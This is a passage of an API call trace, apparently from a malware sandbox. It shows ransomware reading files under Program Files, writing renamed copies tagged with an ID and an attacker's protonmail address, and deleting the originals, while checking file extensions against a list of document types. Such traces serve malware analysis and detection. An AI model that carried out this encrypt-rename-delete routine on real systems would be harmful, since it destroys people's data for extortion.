	[0178.580] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.580] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0178.580] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.580] CloseHandle (hObject=0x4a8) returned 1
	[0178.580] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.580] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.583] CloseHandle (hObject=0x5b4) returned 1
	[0178.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.583] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString=".doc") returned 4
	[0178.584] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".docx") returned 5
	[0178.584] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0178.584] lstrlenW (lpString=".pdf") returned 4
	[0178.584] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".xls") returned 4
	[0178.584] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".xlsx") returned 5
	[0178.584] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0178.584] lstrlenW (lpString=".ppt") returned 4
	[0178.584] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString=".zip") returned 4
	[0178.584] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".rar") returned 4
	[0178.584] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".bz2") returned 4
	[0178.584] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString=".7z") returned 3
	[0178.584] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString=".dbf") returned 4
	[0178.584] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString=".1cd") returned 4
	[0178.584] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0178.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.584] lstrlenW (lpString=".jpg") returned 4
	[0178.585] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString=".doc") returned 4
	[0178.585] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".docx") returned 5
	[0178.585] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0178.585] lstrlenW (lpString=".pdf") returned 4
	[0178.585] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".xls") returned 4
	[0178.585] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".xlsx") returned 5
	[0178.585] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0178.585] lstrlenW (lpString=".ppt") returned 4
	[0178.585] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString=".zip") returned 4
	[0178.585] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".rar") returned 4
	[0178.585] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".bz2") returned 4
	[0178.585] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString=".7z") returned 3
	[0178.585] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString=".dbf") returned 4
	[0178.585] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString=".1cd") returned 4
	[0178.585] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0178.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0178.585] lstrlenW (lpString=".jpg") returned 4
	[0178.586] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0178.586] lstrcmpiW (lpString1=".0_144\\release", lpString2=".html") returned -1
	[0178.586] lstrlenW (lpString="release") returned 7
	[0178.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.586] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=528) returned 1
	[0178.586] CloseHandle (hObject=0x5b4) returned 1
	[0178.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20
	[0178.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.587] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.587] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.588] GetLastError () returned 0x0
	[0178.588] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x210, lpOverlapped=0x0) returned 1
	[0178.589] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x220, lpOverlapped=0x0) returned 1
	[0178.590] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.590] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0178.590] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.590] CloseHandle (hObject=0x4a8) returned 1
	[0178.590] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.590] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.593] CloseHandle (hObject=0x5b4) returned 1
	[0178.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.593] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1
	[0178.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.594] lstrlenW (lpString=".doc") returned 4
	[0178.594] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".docx") returned 5
	[0178.594] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0178.594] lstrlenW (lpString=".pdf") returned 4
	[0178.594] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".xls") returned 4
	[0178.594] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".xlsx") returned 5
	[0178.594] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0178.594] lstrlenW (lpString=".ppt") returned 4
	[0178.594] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.594] lstrlenW (lpString=".zip") returned 4
	[0178.594] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".rar") returned 4
	[0178.594] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".bz2") returned 4
	[0178.594] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString=".7z") returned 3
	[0178.594] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0178.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.594] lstrlenW (lpString=".dbf") returned 4
	[0178.594] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0178.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString=".1cd") returned 4
	[0178.595] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString=".jpg") returned 4
	[0178.595] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString=".doc") returned 4
	[0178.595] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".docx") returned 5
	[0178.595] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1
	[0178.595] lstrlenW (lpString=".pdf") returned 4
	[0178.595] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".xls") returned 4
	[0178.595] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".xlsx") returned 5
	[0178.595] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1
	[0178.595] lstrlenW (lpString=".ppt") returned 4
	[0178.595] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString=".zip") returned 4
	[0178.595] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".rar") returned 4
	[0178.595] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".bz2") returned 4
	[0178.595] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString=".7z") returned 3
	[0178.595] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.595] lstrlenW (lpString=".dbf") returned 4
	[0178.595] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1
	[0178.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.596] lstrlenW (lpString=".1cd") returned 4
	[0178.596] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1
	[0178.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42
	[0178.596] lstrlenW (lpString=".jpg") returned 4
	[0178.596] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1
	[0178.596] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0178.596] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0178.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\writes-heroes-spies.exe" (normalized: "c:\\program files\\java\\writes-heroes-spies.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.924] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=75776) returned 1
	[0178.924] CloseHandle (hObject=0x5c4) returned 1
	[0178.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\writes-heroes-spies.exe" (normalized: "c:\\program files\\java\\writes-heroes-spies.exe")) returned 0x20
	[0178.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\writes-heroes-spies.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\writes-heroes-spies.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.925] CreateFileW (lpFileName="C:\\Program Files\\Java\\writes-heroes-spies.exe" (normalized: "c:\\program files\\java\\writes-heroes-spies.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.925] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.925] lstrlenW (lpString=".doc") returned 4
	[0178.925] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0178.925] lstrlenW (lpString=".docx") returned 5
	[0178.925] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0178.925] lstrlenW (lpString=".pdf") returned 4
	[0178.925] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0178.925] lstrlenW (lpString=".xls") returned 4
	[0178.926] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0178.926] lstrlenW (lpString=".xlsx") returned 5
	[0178.926] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0178.926] lstrlenW (lpString=".ppt") returned 4
	[0178.926] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString=".zip") returned 4
	[0178.926] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0178.926] lstrlenW (lpString=".rar") returned 4
	[0178.926] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0178.926] lstrlenW (lpString=".bz2") returned 4
	[0178.926] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0178.926] lstrlenW (lpString=".7z") returned 3
	[0178.926] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString=".dbf") returned 4
	[0178.926] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString=".1cd") returned 4
	[0178.926] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString=".jpg") returned 4
	[0178.926] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.926] lstrlenW (lpString=".doc") returned 4
	[0178.926] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0178.926] lstrlenW (lpString=".docx") returned 5
	[0178.926] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0178.926] lstrlenW (lpString=".pdf") returned 4
	[0178.926] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0178.927] lstrlenW (lpString=".xls") returned 4
	[0178.927] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0178.927] lstrlenW (lpString=".xlsx") returned 5
	[0178.927] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0178.927] lstrlenW (lpString=".ppt") returned 4
	[0178.927] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.927] lstrlenW (lpString=".zip") returned 4
	[0178.927] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0178.927] lstrlenW (lpString=".rar") returned 4
	[0178.927] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0178.927] lstrlenW (lpString=".bz2") returned 4
	[0178.927] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0178.927] lstrlenW (lpString=".7z") returned 3
	[0178.927] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.927] lstrlenW (lpString=".dbf") returned 4
	[0178.927] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.927] lstrlenW (lpString=".1cd") returned 4
	[0178.927] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0178.927] lstrlenW (lpString="C:\\Program Files\\Java\\writes-heroes-spies.exe") returned 45
	[0178.927] lstrlenW (lpString=".jpg") returned 4
	[0178.927] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0178.927] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.927] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0178.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.161] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=20672) returned 1
	[0179.161] CloseHandle (hObject=0x5bc) returned 1
	[0179.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220
	[0179.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString=".doc") returned 4
	[0179.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString=".docx") returned 5
	[0179.162] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.162] lstrlenW (lpString=".pdf") returned 4
	[0179.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString=".xls") returned 4
	[0179.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString=".xlsx") returned 5
	[0179.162] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.162] lstrlenW (lpString=".ppt") returned 4
	[0179.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString=".zip") returned 4
	[0179.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString=".rar") returned 4
	[0179.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.162] lstrlenW (lpString=".bz2") returned 4
	[0179.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.162] lstrlenW (lpString=".7z") returned 3
	[0179.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString=".dbf") returned 4
	[0179.162] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString=".1cd") returned 4
	[0179.162] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.162] lstrlenW (lpString=".jpg") returned 4
	[0179.162] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.163] lstrlenW (lpString=".doc") returned 4
	[0179.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString=".docx") returned 5
	[0179.163] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0179.163] lstrlenW (lpString=".pdf") returned 4
	[0179.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString=".xls") returned 4
	[0179.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString=".xlsx") returned 5
	[0179.163] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0179.163] lstrlenW (lpString=".ppt") returned 4
	[0179.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.163] lstrlenW (lpString=".zip") returned 4
	[0179.163] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString=".rar") returned 4
	[0179.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.163] lstrlenW (lpString=".bz2") returned 4
	[0179.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.163] lstrlenW (lpString=".7z") returned 3
	[0179.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.163] lstrlenW (lpString=".dbf") returned 4
	[0179.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.163] lstrlenW (lpString=".1cd") returned 4
	[0179.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0179.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0179.164] lstrlenW (lpString=".jpg") returned 4
	[0179.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0179.164] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.164] lstrlenW (lpString="CARBN_01.MID") returned 12
	[0179.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.206] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9322) returned 1
	[0179.206] CloseHandle (hObject=0x4a8) returned 1
	[0179.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220
	[0179.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
